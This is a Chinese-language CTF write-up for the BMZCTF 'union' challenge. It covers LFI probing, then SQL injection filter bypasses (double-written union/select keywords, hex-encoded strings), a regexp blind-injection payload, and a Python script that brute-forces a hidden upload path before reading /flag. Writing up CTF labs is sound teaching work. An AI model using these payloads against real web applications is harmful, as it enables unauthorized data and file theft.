BMZCTF union 詳解
題目:
發現還沒有人寫這道題的writeup:

打開題目是這樣的一個登錄框:

解題思路:
首先還是做下資訊收集,dirsearch跑一跑發現一些檔案,但是都沒有權限訪問:

1.檔案包含漏洞
觀察一下訪問的url,file=xxx可能存在檔案包含漏洞,網頁原始碼上也有提示,但是按照網頁原始碼的去訪問還是轉到login頁面,看到檔案包含漏洞不要慌,先上咱們的lfi字典生成器爆破一波~,
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳
工具地址:https://github.com/873060524/lfi-dic-creater ,先生成register.php的字典,放到burp里面爆破一下file引數:
發現有過濾,但./register 和compress.zlib://./register可以訪問,存在檔案包含漏洞,這里對大量字符進行了過濾,并且拼接了固定的檔案后綴,我們試圖生成flag.php的字典爆破,發現不行,果然沒有這么簡單,

由于沒法通過php://filter方式包含,所以這里沒有辦法拿到源代碼,不過如果存在上傳功能的話,可以利用這個檔案包含來執行自己上傳檔案中的php代碼,
訪問http://www.bmzclub.cn:22284/index.php?file=./register,來到了注冊頁面,登錄和注冊頁面同樣對SQL注入進行一下測驗,發現都沒有,于是注冊了一個用戶登錄進去,
2.sql注入漏洞
登錄進去后出現了檔案上傳、檔案下載和內容查看的功能,上傳讓我們想到了結合之前的檔案包含漏洞,但經過測驗并沒有找到檔案上傳的路徑,所以沒有辦法直接結合檔案包含漏洞,
結合題目union,想到了sql注入,在檔案下載處,
sql注入測驗程序
其實這道題看題目就知道是sql注入,于是sqlmap啥的跑起來再說,結果發現不得行~
根據題目union大概率是要考聯合查詢,最容易繞過過濾的是int型別的聯合查詢,所以直接對可能是Int型別的引數進行測驗,這樣就明確很多:
注意點:
1.很多代碼在處理sql查詢結果的時候,只會取一個結果,所以測驗Union查詢的時候最好取一個不存在的值,如 -1 union select xxx,這樣就能把自己union的結果提取出來,
由于當我們sql陳述句錯誤時,會提示圖片無法找到,那猜測我們要查詢的sql陳述句查詢的結果就是圖片的路徑,通過union select ‘字串’ 的方式可以直接讓結果變為我們的‘字串’,

所以需要構造的union查詢就是:
-1 union select ’圖片路徑‘ :我們直接用index.php測驗一下,發現不行,還是有過濾,于是把繞過方法試一遍,發現是過濾了union和select關鍵字,可以通過雙寫繞過,單引號也被轉義或者過濾了,字串可以通過0x十六進制來表示,所以把index.php轉換成十六進制就行了,在線轉換一下,
payload:
-1 uniunionon selselectect 0x696e6465782e706870,發現這樣確實可以直接讀取到index.php的原始碼了,

通過這種方式把知曉的那幾個檔案都讀出來,進行代碼審計,由于之前已經想到檔案上傳+檔案包含的方式getshell,所以想到找下上傳檔案的路徑,sql的payload為:2 anord location regeregexpxp ‘$’ 就是利用正則進行盲注,2是我們上傳的檔案ID,正則’$'表示字串結尾是什么,沒有被過濾,所以可以從后往前盲注出來,
路徑是由亂數生成的,長度為46,查閱代碼可以知道資料庫中表的結構,所以通過前面的sql注入可以盲注出上傳檔案的真實路徑,

POC:改一下自己的cookie
import re
import requests
code=["a", "b", "c", "d", "e", "f",
"g", "h", "i", "j", "k", "l",
"m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
"y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","1", "2", "3", "4", "5", "6", "7", "0","8", "9","/","."]
value=''
def fun(value,id):
for i in range(46):
n=0
for c in code:
n+=1
cc=r'%s%s' % (c, value)
cc=cc.strip()
# print(n,cc)
burp0_url = "http://www.bmzclub.cn:22284/downfile.php"
burp0_cookies = {"Hm_lvt_d7a3b863d5a302676afbe86b11339abd": "1625975334,1626595426", "PHPSESSID": "aau23k045sgkugljvkm0oo8jk5", "session": "816d6034-1111-49cf-851d-961fb5dd850e", "Hm_lpvt_d7a3b863d5a302676afbe86b11339abd": "1626595608"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:22284", "Connection": "close", "Referer": "http://www.bmzclub.cn:22284/index.php?file=download", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"image": "{0} anord location regeregexpxp 0x{1}24".format(id,cc.encode('utf-8').hex()), "image_download": "\xe6\x94\xb6\xe8\x97\x8f"}
response=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# print(response.text)
if not re.search(r'picture can',response.text):
value = r'%s%s' % (c, value)
value=value.strip()
print(value)
fun(value,id)
break
if __name__=='__main__':
id=2 #這是你上傳的圖片的id,上傳的第一個圖片id是2
fun('',id)

真實路徑找到了,結果不能直接訪問,通過前面的檔案包含漏洞去訪問也不行,因為包含的時候拼接了固定的后綴.php…白忙活~哈哈哈

然后又想到sql注入union查詢的時候,是可以直接查詢檔案內容的,所以直接查詢/flag,得到flag~
-1 uniunionon selselectect 0x十六進制,把/flag轉為十六進制

就能得到flag:

selselectect 0x十六進制,把/flag轉為十六進制

就能得到flag:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289178.html
標籤:其他
